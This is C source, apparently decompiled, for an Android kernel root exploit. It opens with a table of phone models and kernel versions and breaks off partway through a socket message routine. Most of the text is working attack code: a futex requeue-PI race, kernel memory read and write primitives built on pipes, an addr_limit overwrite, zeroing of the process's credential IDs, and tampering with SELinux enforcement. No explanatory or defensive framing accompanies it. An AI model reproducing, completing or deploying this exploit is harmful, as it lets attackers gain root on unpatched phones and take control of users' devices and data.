		{ "t882", "3.0.8-perf-00172-gabcb8ee", 1341380202 },
		{ "t90", "3.0.8-infotmic", 1383634795 },
		{ "tcl+j636d+", "3.4.0-perf-g9b93c5d", 1400588028 },
		{ "tcl+j636d+", "3.4.0-perf-gf20b7b5", 1400906753 },
		{ "u20gt_s", "3.0.8+", 1352343384 },
		{ "u23gt", "3.0.8+", 1353588959 },
		{ "u8860", "3.0.8-perf-00059-g3a757a2", 1339020923 },
		{ "u8860", "3.0.8-perf-00061-g97a3097", 1345458061 },
		{ "us969", "3.0.21-perf", 1362039935 },
		{ "us969", "3.0.21-perf", 1365612434 },
		{ "vivo+x3l", "3.4.0", 1399386978 },
		{ "vivo+x3l", "3.4.0", 1400500992 },
		{ "vivo+x3l", "3.4.0", 1401863807 },
		{ "vivo+x3l", "3.4.0", 1402732129 },
		{ "vivo+x3l", "3.4.0", 1403083108 },
		{ "vivo+x3l", "3.4.0", 1403923955 },
		{ "vivo+x3l", "3.4.0", 1405515913 },
		{ "vivo+x3l", "3.4.0", 1406716886 },
		{ "vivo+x3l", "3.4.0", 1409282750 },
		{ "vivo+x3l", "3.4.0", 1409568482 },
		{ "vivo+x3l", "3.4.0", 1409906261 },
		{ "vivo+y18l", "3.4.0", 1406811306 },
		{ "x907", "3.0.8-perf-svn5563", 1345121953 },
		{ "x907", "3.0.8-perf-svn7377", 1348905840 },
		{ "x907", "3.0.8-perf-svn7917", 1355481744 },
		{ "x907", "3.0.8-perf-svn8065", 1360077367 },
		{ "x909", "3.4.0-perf", 1372399625 },
		{ "x909", "3.4.0-perf", 1387510253 },
		{ "x909", "3.4.0-perf-svn3373", 1382163689 },
		{ "x909t", "3.4.0-perf", 1390258379 },
		{ "x909t", "3.4.0-perf-svn1855", 1369651453 },
		{ "xperia+ion", "3.0.63-fxp+", 1362841366 },
		{ "xperiamod+w910", "3.4.0-perf", 1365496226 },
		{ "xt1049", "3.4.42-g674a5f7-00004-ga84300e", 1396512271 },
		{ "xt1060", "3.4.42-g3385454", 1390524827 },
		{ "xt901", "3.0.42-g20232a4", 1360662526 },
		{ "xt907", "3.4.42-g5170b6b", 1398998058 },
		{ "yx-yusun+e96", "3.0.21-perf+", 1354198802 },
		{ "zte+n798", "3.0.8-perf-svn36925", 1370508659 },
		{ "zte+n807", "3.0.21-perf", 1372628858 },
		{ "zte+n881f", "3.0.21-perf", 1357882527 },
		{ "zte+n970", "3.0.8-perf-svn16444", 1349831838 },
		{ "zte+u988s", "3.4.35-ga441222-dirty", 1385091467 },
		{ "zte+u988s", "3.4.35-gc786ed8", 1387138325 },


		//////2014-11-11
		{ "benq+f5", "3.4.0", 1403094027 },
		{ "bird+l100", "3.4.0-g9fb0b64-00462-g9248f77", 1403188002 },
		{ "bird+lt01", "3.4.0-g9fb0b64-00224-g0e6c8ef", 1402376199 },
		{ "blw-ve63", "3.0.21-perf", 1357719547 },
		{ "c5502", "3.4.0-perf-g32ce454", 1397033562 },
		{ "c6503", "3.4.0-ge09aff8", 1389803316 },
		{ "c8812", "3.0.8-perf-00030-g6a3d215", 1339750763 },
		{ "c8812", "3.0.8-perf-g8b79f2a", 1343315979 },
		{ "changhong", "3.0.21-perf-ga71541d-00002-g57f851e", 1366091913 },
		{ "changhongc600", "3.0.21-perf-gcf84501-00005-g0f97dcc", 1362789653 },
		{ "coolpad+5892", "3.4.0-g1e451e8-03877-g094b2a4-dirty", 1401333582 },
		{ "coolpad+8970l", "3.4.35", 1403253122 },
		{ "d5503", "3.4.0-perf-g8c33725", 1392897433 },
		{ "fdt+e5", "3.0.21-perf", 1365597549 },
		{ "gt-i9505", "3.4.0-2543205", 1392725507 },
		{ "gt-i9508", "3.4.0-2533431", 1400824285 },
		{ "gt-n7005", "3.0.8-perf-i717uclf6-cl773414", 1344602669 },
		{ "h-nf08a16g-th", "3.0.0", 1387768963 },
		{ "hs-eg971", "3.4.0-g7e46aaa", 1396948376 },
		{ "hs-eg981", "3.4.0-ge7c2233", 1396527729 },
		{ "hs-x5t", "3.4.0-gf8ba59a", 1389970840 },
		{ "hs-x68t", "3.4.0-g2a5de6f", 1399559395 },
		{ "htc+801e", "3.4.10-gfa33c1e", 1382022332 },
		{ "htc+802d", "3.4.10-xiaoxiang8002-soul2.0", 1399632402 },
		{ "htc+802d", "3.4.10-xiaoxiang8002-soul3.0", 1399632402 },
		{ "htc+802t+16gb", "3.4.10-gf22c859", 1399895353 },
		{ "htc+802w", "3.4.10-xiaoxiang8002-soul2.0", 1399895968 },
		{ "htc+8088", "3.4.10-gc23c7c2", 1394443780 },
		{ "htc+809d", "3.4.10-g75cbc5f", 1387907719 },
		{ "htc+butterfly", "3.4.10-boa-butterfly-s2w-v5+", 1399891392 },
		{ "htc+d816w", "3.4.0-g518cefc", 1394802172 },
		{ "htc+desire+816+dual+sim", "3.4.0-gfde97ee", 1402669255 },
		{ "htc+desire+hd", "3.0.83-zrz-ace-v26", 1340112773 },
		{ "htc+incredible+s", "3.0.60-zrz-vivo-v13d", 1338117583 },
		{ "htc+j+one", "3.4.10-nhk-v4.0.6", 1399302943 },
		{ "htc+one", "3.4.10-g9502bc1", 1366443923 },
		{ "htc+rezound", "3.0.16-g480e1b0", 1344525279 },
		{ "htc+sensation+z710e", "3.0.16-g31a4fc7", 1340010067 },
		{ "htc+sensation+z710e", "3.0.16-g8626210", 1348581778 },
		{ "htc+sprint+one", "3.4.10-xiaoxiang8002-soul1.0", 1398199482 },
		{ "htc+t528w", "3.0.8+-gd7d5c99", 1353989434 },
		{ "htc+z520e", "3.4.10-g93c5a87", 1376643526 },
		{ "htc+z715e", "3.0.16-v1.5.2", 1333299140 },
		{ "huawei+c8817l", "3.4.0-ge5f8475", 1400149705 },
		{ "huawei+c8950d", "3.0.21-perf", 1359088507 },
		{ "huawei+c8950d", "3.0.21-perf-g07d599d-00226-gb19a77b", 1350408371 },
		{ "huawei+g716-l070", "3.4.0-geaea5c4", 1392254429 },
		{ "huawei+g716-l070", "3.4.0-geaea5c4", 1400849888 },
		{ "huawei+g718", "3.4.0-gcb4ed6f", 1395817259 },
		{ "huawei+u8950d", "3.0.21-perf-g07d599d-00206-g2be561d", 1358908547 },
		{ "hyf938a", "3.0.13", 1358254707 },
		{ "i9220", "3.0.13", 1349855282 },
		{ "im-a900k", "3.4.0", 1398866393 },
		{ "im-a900k", "3.4.0", 1403082204 },
		{ "im-a900k", "3.4.0", 1413883819 },
		{ "iusai+x2", "3.4.0-g9fb0b64-00241-gbabcb98", 1401955307 },
		{ "l35h", "3.4.0-ge09aff8", 1389803316 },
		{ "la-i", "3.0.21-perf-svn6510", 1352969722 },
		{ "la2-l", "3.4.0-g4851aea-00021-g8c08646", 1397711749 },
		{ "lenovo_a2105", "3.0.8-perf", 1344429751 },
		{ "lg-d280", "3.4.0+", 1399482741 },
		{ "lg-d802", "3.4.0-perf-g47825dc", 1398699890 },
		{ "lg-d802", "3.4.0-perf-gd2f961e", 1386065241 },
		{ "lg-d802", "3.4.0-perf-gd4d756a", 1394898766 },
		{ "lg-d838", "3.4.0-perf-g50e742d-00002-g2f043a7", 1404888760 },
		{ "lg-d958", "3.4.0-perf-g688c968b", 1400058846 },
		{ "lg-e985t", "3.4.0", 1400498802 },
		{ "lg-f160", "3.0.8-00001-g65e7cd3", 1339979154 },
		{ "lg-f160", "3.4.0-perf-g53ac700", 1367605241 },
		{ "lg-f160", "3.4.0-perf-g7854487-00001-gda1e60d", 1358128905 },
		{ "lg-f160l", "3.4.0-perf-g8068b66", 1364453955 },
		{ "lg-f180k", "3.4.0-perf-g0954da7", 1383024287 },
		{ "lg-f200k", "3.4.0-perf-gec5ff75", 1401683693 },
		{ "lg-f240k", "3.4.0", 1403261245 },
		{ "lg-f240l", "3.4.0-perf-g61d594f-dirty", 1360677880 },
		{ "lg-f240s", "3.4.0", 1399596951 },
		{ "lg-f260s", "3.4.0-perf-g8ec8115-00001-g7e9c690", 1401069447 },
		{ "lg-f320k", "3.4.0-perf", 1392780097 },
		{ "lg-f320k", "3.4.102-cloudykernel", 1405939569 },
		{ "lg-f320l", "3.4.102-cloudykernel", 1406019831 },
		{ "lg-f320s", "3.4.0-perf-g7b7c9d9-00001-g45ddff2", 1402399411 },
		{ "lg-f320s", "3.4.0-perf-g974b716", 1397054347 },
		{ "lg-f320s", "3.4.0-perf-gc6b63ce", 1385772753 },
		{ "lg-f340k", "3.4.0-perf-g6a52894-00007-g8a1e597", 1402371822 },
		{ "lg-ls995", "3.4.0-perf-g00861fe", 1386605262 },
		{ "lgl22", "3.4.0-perf-g822ae0f", 1405900252 },
		{ "lgl22", "3.4.0-perf-gc347188", 1382995112 },
		{ "lnv-lenovo+a600e", "3.0.21-perf+", 1352460273 },
		{ "lt+s939d", "3.0.21-perf-g93b5b7f", 1365609082 },
		{ "lt26i", "3.0.8+1.0.21100-arakmar-g72b173f", 1349367278 },
		{ "m040", "3.0.39-user-gcdf0401", 1403694785 },
		{ "m040", "3.0.39-user-svn5219", 1377326703 },
		{ "m045", "3.0.39-user-svn7563", 1400331604 },
		{ "m353", "3.4.43-overseas-gea3150d", 1398325202 },
		{ "m353", "3.4.43-user-svn7533", 1387271114 },
		{ "m355", "3.4.43-user-gae13051", 1390572647 },
		{ "m811", "3.4.0-g486a9c3", 1400619981 },
		{ "mi+2", "3.4.8-g63240d7", 1398665491 },
		{ "mi+2c", "3.4.0-gc20fec0-00604-g84ef515", 1382705970 },
		{ "mi+3", "3.4.35-g120d9ae", 1403216181 },
		{ "mi+3", "3.4.35-gaae0d02", 1386297480 },
		{ "mi+3w", "3.4.0-ga568004-00621-g5be7dc1", 1396990230 },
		{ "mi+3w", "3.4.0-ga568004-00678-g601ede7", 1398484943 },
		{ "mi-one+plus", "3.0.8-perf-00440-g2f06f6e", 1347610342 },
		{ "mi-one+plus", "3.0.8-perf-00464-ga326fac", 1386394016 },
		{ "n707", "3.0.8+", 1374646508 },
		{ "n707", "3.0.8+", 1390275636 },
		{ "n70dc-s", "3.0.8+", 1344574632 },
		{ "nexus+4", "3.4.76-hells-core-b43-kk", 1390142920 },
		{ "nexus+4", "3.4.86-hells-core-b46-t4-kk-cm", 1395951699 },
		{ "nexus+4", "3.4.86-hells-core-b46-t4-kk-cm", 1410302222 },
		{ "opsson+q1", "3.4.0-g9fb0b64-00255-gbc26eee", 1401950099 },
		{ "s50h", "3.4.0+", 1395081836 },
		{ "sbm303sh", "3.4.0", 1391252891 },
		{ "sc-01e", "3.0.8-1091767", 1349265610 },
		{ "sh-04f", "3.4.0", 1403470037 },
		{ "shv-e160s", "3.0.8-perf-e160s.uf13.0021-cl703272", 1339515187 },
		{ "sm-n750l", "3.4.0-2540195", 1392824112 },
		{ "sm-n9002", "3.4.0-1591054", 1378491367 },
		{ "so-02f", "3.4.0-perf-g0ce556e", 1400219751 },
		{ "sph-l720", "3.4.0-442222", 1365579188 },
		{ "tegranote-p1640", "3.4.57-g12e6f85", 1386861799 },
		{ "unc-e6", "3.4.0-g9fb0b64-00196-g006e68d", 1403259602 },
		{ "vivo+s7t", "3.0.13", 1401073814 },
		{ "vivo+s7t", "3.0.13", 1401096390 },
		{ "vivo+y3t", "3.0.13", 1357565759 },
		{ "vs980+4g", "3.4.93-perf", 1395651690 },
		{ "xt1058", "3.4.42-g27de6975", 1393262403 },
		{ "zte+n798", "3.0.8-perf-svn37372", 1372714078 },
		{ "zte+n909", "3.4.0-feixianren007", 1404112784 },
		{ "zte+q701c", "3.4.0-perf", 1402308174 },
		{ "zte+u988s", "3.4.35-gc2a8ac0", 1395304668 },

};

///////////////////////////////////////////////////////////////


phone_info_t g_default_phones[] = {
	{"++dummy++", "++dummy++", "++dummy++", "++dummy++", 0x80, 0xc0, 0x0, 0x88, 0x08, 0x0, 0x0 },
};

///////////////////////////////////////////////////////////////

volatile unsigned short g_listen_port = 14567;

volatile phone_info_t *g_this_phone = NULL;
volatile char sock_data_buf[224];
volatile int g_listener_ready;
volatile unsigned int g_magic;
volatile struct mmsghdr g_msgvec[1024];
volatile int swag2;
volatile int swag;
volatile int do_socket_tid_read;
volatile int tid_pi_state;
volatile int sync_pi_state;
volatile int g_mm_1000000;
volatile int dword_1AF24;
volatile int goodval_low_bit;
volatile int dword_1AF2C;
volatile int sync_write_addr_limit_done;
volatile int found_selinux_key;
volatile int sel_enforcing;
volatile int victim_tid;
volatile int addr_limit;
volatile int my_sgid;
volatile int my_tid;
volatile int my_euid;
volatile int my_ppid;
volatile int my_egid;
volatile int my_suid;
volatile int my_uid;
volatile int my_pid;
volatile int my_gid;

//////////////////////////////////////////////////////////////////



ssize_t read_kernel_4(const void *ptr, void *pout) {
    ssize_t v4;
    int v6[2];

    if (pipe(v6) || write(v6[1], ptr, 4u) != 4 || (v4 = read(v6[0], pout, 4u), v4 != 4)) {
        v4 = -1;
    } else {
        close(v6[0]);
        close(v6[1]);
    }
    return v4;
}

int write_kernel(void *ptr, const void *buf, size_t len) {
    int fd[2];
    int result = 0;
    void *v3;
    const void *v4;
    unsigned int v5;

    if (pipe(fd) != 0){
        result = -1;
        goto END;
    }

    v3 = ptr;
    v4 = buf;
    v5 = len;
    if (len != write(fd[1], v4, v5)) {
        result = -1;
        goto END;
    }

    v3 = ptr;
    v4 = buf;
    v5 = len;
    if (len != read(fd[0], v3, v5)) {
        result = -1;
        goto END;
    }

    close(fd[0]);
    close(fd[1]);
    result = len;

END:
    return result;
}

int write_kernel_4(void *ptr, int nVal)
{
    int v3; // [sp+4h] [bp-Ch]@1

    v3 = nVal;
    write_kernel(ptr, &v3, 4u);
    return 0;
}


int sub_99C8(unsigned int a1){
    unsigned int v1;
    int result; 
    int v3;
    unsigned int v4,v5,v6,v7,v8;
    const void* v9;
    const void* v10;
    const void* v11;
    const void* v12;
    const void* v13;
    int v14;
    int v15;
    const void *i;
    int v17; // r1@45
    int v18; // r3@45
    int v19; // r0@50
    bool v20; // cf@50
    unsigned int v21;
    int v22,v23;
    unsigned int v24;
    unsigned int v25;

    int v26; // [sp+1Ch] [bp-44h]@9
    int v27; // [sp+20h] [bp-40h]@9
    int v28; // [sp+24h] [bp-3Ch]@9
    int v29; // [sp+28h] [bp-38h]@9
    int v30; // [sp+2Ch] [bp-34h]@9
    int v31; // [sp+30h] [bp-30h]@9
    int v32; // [sp+34h] [bp-2Ch]@5

    //printf("[sub_99C8]entry\n");
    v1 = a1;
    if (a1 > 0xC0007FFF) {
        v25 = 0;
        v3 = a1 + 12;
        if (read_kernel_4((const void *)(a1 + 12), &v32) >= 0) {
            if (v32 == 0x43736564) {
                v3 = v1 + 24;
                v4 = 36;
                v5 = 32;
                v6 = 28;
                v7 = 20;
                v8 = 16;
                v21 = 4;
            } else {
                v4 = 24;
                v5 = 20;
                v6 = 16;
                v7 = 8;
                v8 = 4;
                v21 = 1;    
            }
            v9 = (const void *)(v8 + v1);
            v10 = (const void *)(v7 + v1);
            read_kernel_4(v9, &v31);
            read_kernel_4(v10, &v28);
            v11 = (const void *)(v6 + v1);
            read_kernel_4((const void *)v3, &v29);
            v12 = (const void *)(v5 + v1);
            read_kernel_4(v11, &v26);
            v13 = (const void *)(v4 + v1);
            read_kernel_4(v12, &v30);
            read_kernel_4(v13, &v27);
            if (my_uid != v31 || my_gid != v28 || my_euid != v30 \
                || my_egid != v27 || my_suid != v29 || my_sgid != v26) {
                    result = -6;
            } else if (write_kernel_4((void *)v9, 0)
                || write_kernel_4((void *)v10, 0)
                || write_kernel_4((void *)v3, 0)
                || write_kernel_4((void *)v11, 0)
                || write_kernel_4((void *)v12, 0)
                || write_kernel_4((void *)v13, 0)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 6)), 0)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 7)), 0)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 9)), -1)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 10)), -1)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 11)), -1)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 12)), -1)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 13)), -1)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 14)), -1)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 15)), -1)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 16)), -1)) {
                    result = -4;
            } else if (sel_enforcing) {
                v14 = v1 + 4 * (found_selinux_key + 17);
                read_kernel_4((const void *)(v1 + 4 * (found_selinux_key + 17)), &v25);
                v15 = g_this_phone->selinux_mark;
                if (!v15 && found_selinux_key) {
                    for (i = (const void *)(v14 + 4); ; i = (char *)i + 4 ) {
                        if (v25) {
                            if (v25 > 0xC0007FFF) {
                                read_kernel_4((const void *)v25, &v24);
                                read_kernel_4((const void *)(v25 + 4), &v23);
                                read_kernel_4((const void *)(v25 + 8), &v22);
                                if (v24 == v23 && !v22 && v24 > 0xA) {
                                    break;
                                }            
                            }
                            ++v15;
                            if (v15 == 3) {
                                goto LABEL_47;
                            }
                        }
                        read_kernel_4(i, &v25);
                    }
                    //v17 = found_selinux_key;
                    v18 = g_this_phone;
                    g_this_phone->selinux_mark = 1;
                    found_selinux_key = v15 + 4;
                    g_this_phone->selinux_extra = v15 + 4;
                }
                if (v25 > 0xC0008000) {
                    if (write_kernel_4((void *)v25, 1)) {
                        result = 0;
                    } else {
                        v19 = write_kernel_4((void *)(v25 + 4), 1);
                        if (v19 <= 1) {
                            result = 1 - v19;
                        } else {
                            result = 0;
                        }
                    }

                } else {
LABEL_47:
                    result = -5;
                }


            } else {
                result = 1;
            }
        } else {
            result = -2;
        }
    } else {
        result = -1;
    }
    //printf("[sub_99C8]exit\n");
    return result;
}

unsigned int sub_9E78(int a1, unsigned int v_addr_limit) {
    int off; // r4@1
    int i; // r6@1
    int v4; // r3@2
    unsigned int addr; // r5@5
    int v6; // r3@6
    int v8; // r4@12
    int v9; // r0@16
    int v10; // r5@26
    int v11; // r5@33
    int v12; // [sp+10h] [bp-70h]@1
    int v14; // [sp+18h] [bp-68h]@1
    int v15; // [sp+2Ch] [bp-54h]@26
    int v16; // [sp+30h] [bp-50h]@24
    int v17; // [sp+34h] [bp-4Ch]@24
    int v18; // [sp+38h] [bp-48h]@23
    int v19; // [sp+3Ch] [bp-44h]@17
    unsigned int v20; // [sp+40h] [bp-40h]@1
    int v21; // [sp+44h] [bp-3Ch]@16
    int v22; // [sp+48h] [bp-38h]@1
    unsigned int v23; // [sp+4Ch] [bp-34h]@15
    unsigned int v24; // [sp+50h] [bp-30h]@8
    unsigned int v25; // [sp+54h] [bp-2Ch]@2

    //printf("[sub_9E78]entry\n");
    off = 0;
    v20 = 0;
    read_kernel_4((const void *)((v_addr_limit & 0xFFFFE000) + 0xC), &v22);
    i = 23;
    v14 = 0;
    v12 = 0;

    while (true) {
        addr = off + v22;
        read_kernel_4((const void *)(off + v22), &v25);
        if (!v20) {
            if (my_tid == v25) {
                read_kernel_4((const void *)(addr + 4), &v18);
                if (v18 == my_pid) {
                    read_kernel_4((const void *)(addr + 12), &v20);
                    read_kernel_4((const void *)(addr + 20), &v16);
                    read_kernel_4((const void *)(addr + 24), &v17);
                    v14 = off;
                    if (v17 != v16) {
                        v12 = 4 * (i - 1);
                    } else {
                        v12 = 4 * i;
                    }
                }
            }
        }
        if (v25 == 0x5F527670) { // '_Rvp'
            read_kernel_4((const void *)(addr + 4), &v24);
            if (v24 == 0x656D6974) { // 'emit'
                break;
            }
        }
        off += 4;
        ++i;
        if (off == 4000) {
            return -1;
        }
    }
    if ((unsigned int)(i - 23) >= 1000) {
        return -1;
    }
    if (v20 <= 0xBFFFFFFF) {
        return 0xFFFFFFCE;
    }
    v8 = off - 8;
    if (a1 == 1) {
        read_kernel_4((const void *)(v8 + v20), &v23);
    } else if (a1 == 2) {
        read_kernel_4((const void *)(v8 + v22), &v23);
        sub_99C8(v23);
        read_kernel_4((const void *)(v8 + v20), &v23);
    } else if (!a1) {
        read_kernel_4((const void *)(v8 + v22), &v23);
    }
    sub_99C8(v23);
    if (v12) {
        v9 = v22;
        v21 = v22;
        while (true) {
            read_kernel_4((const void *)(v9 + v14), &v19);
            if (tid_pi_state == v19) {
                read_kernel_4((const void *)(v21 + 4), &dword_1AF24);
                break;
            } else {
                read_kernel_4((const void *)(v12 + v21), &v21);
                v9 = v21 - v12;
                v21 -= v12;
                if (v21 == v22) {
                    break;
                }
            }
        }
    }
    if ((unsigned int)dword_1AF24 <= 0xC0000000 || !goodval_low_bit) {
        return 0;
    }
    v10 = goodval_low_bit + dword_1AF24 - 12;
    v15 = 0;
    read_kernel_4((const void *)v10, &v15);
    if (v15 != 0x7E) {
        return -1;
    }
    write_kernel_4((void *)(v10 + 4), v10 + 4);
    write_kernel_4((void *)(v10 + 8), v10 + 4);
    read_kernel_4((const void *)(v10 + 16), &v15);
    write_kernel_4((void *)(v10 + 12), v15);
    v11 = v15;
    if ( (unsigned int)v15 <= 0xC0000000 )
        return -1;
    read_kernel_4((const void *)v15, &v15);
    write_kernel_4((void *)(v11 + 4), v15);
    //printf("[sub_9E78]exit\n");
    return 0;
}

unsigned int signal_proc()
{
  unsigned int result; // r0@1
  int v1; // [sp+0h] [bp-18h]@3
  int v2; // [sp+4h] [bp-14h]@3

    //printf("signal_proc entry\n");

  result = syscall(224);
  if ( !dword_1AF2C )
  {
    result = (unsigned int)addr_limit;
    if ( addr_limit )
    {
      v2 = dword_1AF2C;
      v1 = -1;
      if ( sync_write_addr_limit_done ) 
      {
        my_pid = getpid();
        my_tid = gettid();
        my_ppid = getppid();
        getresuid(&my_uid, &my_euid, &my_suid);
        getresgid(&my_gid, &my_egid, &my_sgid);
        result = sub_9E78(2, addr_limit);
        dword_1AF2C = 1;
      }
      else
      {

        write_kernel((void *)addr_limit, &v2, 4);
        result = read_kernel_4(addr_limit, &v1);
        printff("start write kernel: %08x, %d, %d\n", addr_limit, result, errno);
        if ( !v1 )
          sync_write_addr_limit_done = 1;
      }
    }
  }
  return result;
}

int make_action(int pipefd)
{
  int v1; // r4@1
  int tid; // [sp+14h] [bp-Ch]@1

  v1 = pipefd;
  tid = syscall(224);
  write(v1, &tid, 4u);
  if ( !setpriority(0, 0, 13)
    && bsd_signal(12, signal_proc) != -1
    && !syscall(240, &swag, FUTEX_LOCK_PI, 1, 0, 0, 0) )
  {
    while ( 1 )
    {
      sleep(0x2710u);
      sleep(0x2710u);
    }
  }
  return 0;
}

signed int create_thread_ret_pid()
{
  signed int result; // r0@2
  int pipefd[2]; // [sp+0h] [bp-18h]@1
  int tid; // [sp+8h] [bp-10h]@1
  pthread_t newthread; // [sp+Ch] [bp-Ch]@3

  tid = 0;
  if ( pipe(pipefd) )
  {
    result = -1;
  }
  else
  {
    pthread_create(&newthread, 0, (void *(*)(void *))make_action, (void *)pipefd[1]);
    read(pipefd[0], &tid, 4u);
    close(pipefd[0]);
    close(pipefd[1]);
    result = tid;
  }
  return result;
}

int pi_state_helper(int prio)
{
  int _prio; // r5@1
  int v2; // r4@1

  _prio = prio;
  v2 = syscall(224);
  if ( !setpriority(0, 0, _prio) )
  {
    sync_pi_state = 1;
    tid_pi_state = v2;
    if ( !syscall(240, &swag, FUTEX_LOCK_PI, 1, 0, 0, 0) )
    {
      while ( 1 )
      {
        sleep(10000u);
        sleep(10000u);
      }
    }
  }
  return 0;
}

void printMagicValue(unsigned long ptr){
	int i =0;
	for ( i=0; i < 0x50; i+=0x10  )
	{
		printf("%08x: %08x, %08x, %08x, %08x\n", i,
			*(unsigned long*)(ptr+i + 0),
			*(unsigned long*)(ptr+i + 4),
			*(unsigned long*)(ptr+i + 8),
			*(unsigned long*)(ptr+i + 12));
	}
}

unsigned int wait_for_buf_res(unsigned int result, int a2)
{
  unsigned int v2; // r4@1
  int v3; // r5@1
  signed int v4; // r3@2
  unsigned int v5; // r2@5
  unsigned int v6; // r1@7
  unsigned int v7; // r2@9
  int iTime = 0;

  v2 = result;
  v3 = a2;
  if ( result )
  {
    v4 = 0;
    do
    {
      if ( v4 > 17 )
      {
        usleep(100000u);
        v4 = 0;
      }
      v5 = *(unsigned int *)(v2 + 4 * v4++);
    }
    while ( v5 <= 0xC0000000 || v5 == v3 );
    //sleep(1);
    printff("get vol res: %08x\n", v5);
    printMagicValue(v2);
    v6 = goodval_low_bit;
    if ( !goodval_low_bit )
      v6 = v5 << 19;
    v7 = v5 & 0xFFFFE03F;
    if ( !goodval_low_bit )
      goodval_low_bit = v6 >> 19;
    result = v7 & 0xFFFFFFC0;
  }
  return result;
}

int search_goodnum()
{
  signed int result; // r0@2
  int sockfd; // r5@5
  int i; // r3@6
  int v3; // r5@19
  int v4; // r7@19
  int v5; // r3@20
  __pid_t tid; // r7@21
  unsigned int v7; // r0@22
  unsigned int v8; // r10@22
  int v9; // r5@24
  const void *v10; // r10@24
  int v11; // r8@24
  int v12; // r2@25
  __pid_t v13; // r8@26
  pthread_t newthread; // [sp+10h] [bp-40h]@15
  struct sockaddr_in addr; // [sp+14h] [bp-3Ch]@7
  int v16; // [sp+24h] [bp-2Ch]@1

  // search_goodnum 0.1

  printff("search_goodnum 0.1\n");
  syscall(__NR_gettid);
  if ( syscall(__NR_futex, &swag, FUTEX_LOCK_PI, 1, 0, 0, 0) )
    goto return_0;

  // accept_socket..
    
    //printf("search_goodnum: accept\n");
  sockfd = socket(2, 1, 0);
  if ( sockfd < 0 )
    goto return_0;
  for ( i = (unsigned short)g_listen_port; ; i = ((unsigned short)g_listen_port++ + 1) & 0xFFFF )
  {
    addr.sin_port = ((unsigned int)i >> 8) | (i << 8);
    addr.sin_family = 2;
    addr.sin_addr.s_addr = 0;
    if ( !bind(sockfd, (const struct sockaddr *)&addr, 0x10u) )
      break;
  }
  if ( listen(sockfd, 3) )
  {
return_0:
    result = 0;
    goto ret;
  }
  g_listener_ready = 1;
  while ( accept(sockfd, 0, 0) < 0 )
    ;

  printff("search_goodnum 0.2\n");
  // search_goodnum 0.2..

  while ( syscall(__NR_futex, &swag2, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag, 0) != 1 )
    usleep(100000u);

  // wake_actionthread(6)..
  printff("search_goodnum 0.3\n");
  pthread_create(&newthread, 0, (void *(*)(void *))pi_state_helper, (void *)6);
  while ( !sync_pi_state )
    usleep(100000u);
  swag = 0;

  printff("search_goodnum 0.4\n");
  // search_goodnum 0.4..

    syscall(__NR_futex, &swag, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag, 0);

  // search_goodnum 0.5..
  printff("search_goodnum 0.5\n");

  int nTimeout = 0;
  while ( !do_socket_tid_read ){
	  usleep(50000u);
	  // 如果超时说明洞被补上，直接退出
	  if ( nTimeout++ > 200 ){
		  exit(104);
	  }
  }

  printff("search_goodnum 0.6\n");
  v3 = g_magic;
  v4 = g_magic - 4;
  if ( g_magic != 4 )
  {
    memset((void *)(g_magic - 4), 0, 0x400u);
    v5 = v3 + 28;
    *(unsigned int *)(v4 + 16) = 0;
    *(unsigned int *)(v5 + 16) = v3 + 8;
    *(unsigned int *)(v3 - 4) = 0x85;
    *(unsigned int *)(v4 + 4) = v3 + 0x20;
    *(unsigned int *)(v4 + 12) = v3 + 0x28;
    *(unsigned int *)(v4 + 8) = 0;
    *(unsigned int *)(v3 + 28) = 0x8B;
    *(unsigned int *)(v5 + 12) = 0;
    *(unsigned int *)(v5 + 4) = 0;
    *(unsigned int *)(v5 + 8) = v3;
  }
  printMagicValue(v4);
  result = create_thread_ret_pid();
  tid = result;
  if ( result != -1 )
  {
    v7 = wait_for_buf_res(g_magic - 4, 0);
    swag = 0;
    v8 = v7;
    kill(tid, 12);
    while ( !swag )
      usleep(0x186A0u);
    sleep(1u);
    v9 = g_magic;
    printff("search_goodnum 0.8, v8: %08x\n", v8);
    v10 = (const void *)(v8 + 8);
    v11 = g_magic - 4;
    swag = victim_tid | 0x80000000;
    addr_limit = v10;
    if ( g_magic != 4 )
    {
      memset((void *)v11, 0, 0x400u);
      v12 = v9 + 28;
      *(unsigned int *)(v11 + 12) = v9 + 40;
      *(unsigned int *)(v11 + 16) = 0;
      *(unsigned int *)(v11) = 133;
      *(unsigned int *)(v11 + 4) = v9 + 32;
      *(unsigned int *)(v11 + 8) = 0;

      *(unsigned int *)(v12) = 139;
      *(unsigned int *)(v12 + 4) = 0;
      *(unsigned int *)(v12 + 12) = 0;
      *(unsigned int *)(v12 + 16) = addr_limit;//0xc000ff28 + __NR_getpid * 4;//addr_limit - 16;

    }
    printMagicValue(v11);
    result = create_thread_ret_pid();
    v13 = result;
    if ( result != -1 )
    {
      addr_limit = (const void *)(wait_for_buf_res(g_magic - 4, (int)addr_limit) + 8);
      kill(tid, 12);
      printff("search_goodnum 0.9, %08x\n", addr_limit);
      while ( !sync_write_addr_limit_done )
        usleep(0x186A0u);

      printff("search_goodnum 0.9.1\n");
      kill(v13, 12);
      while ( !dword_1AF2C )
        usleep(0x186A0u);
      printff("search_goodnum 0.9.2\n");
      swag = 0;
      kill(v13, 12);
      while ( !swag )
        usleep(0x186A0u);
      //printff("search_goodnum 0.9.1\n");
      sleep(1u);
      printff("search_goodnum 1.0\n");
      swag = victim_tid | 0x80000000;
      goto return_0;
    }
  }
ret:
  return result;
}


void* send_magicmsg(void *arg)
{
    struct sockaddr_in *addr; // r6@1
    char *v1; // r8@1
    struct iovec *v2; // r7@1
    unsigned int v3; // r11@1
    int socket_fd; // r4@3
    unsigned int port; // r3@4
    int v6; // r1@5
    int *v7; // r3@5
    struct mmsghdr *msgvec; // r3@7
    int *p_end, i;

    //printf("send_magicmsg entry\n");
    addr = (struct sockaddr_in *)&sock_data_buf[g_this_phone->a];
    v1 = &sock_data_buf[g_this_phone->f];
    v2 = (struct iovec *)&sock_data_buf[g_this_phone->e];
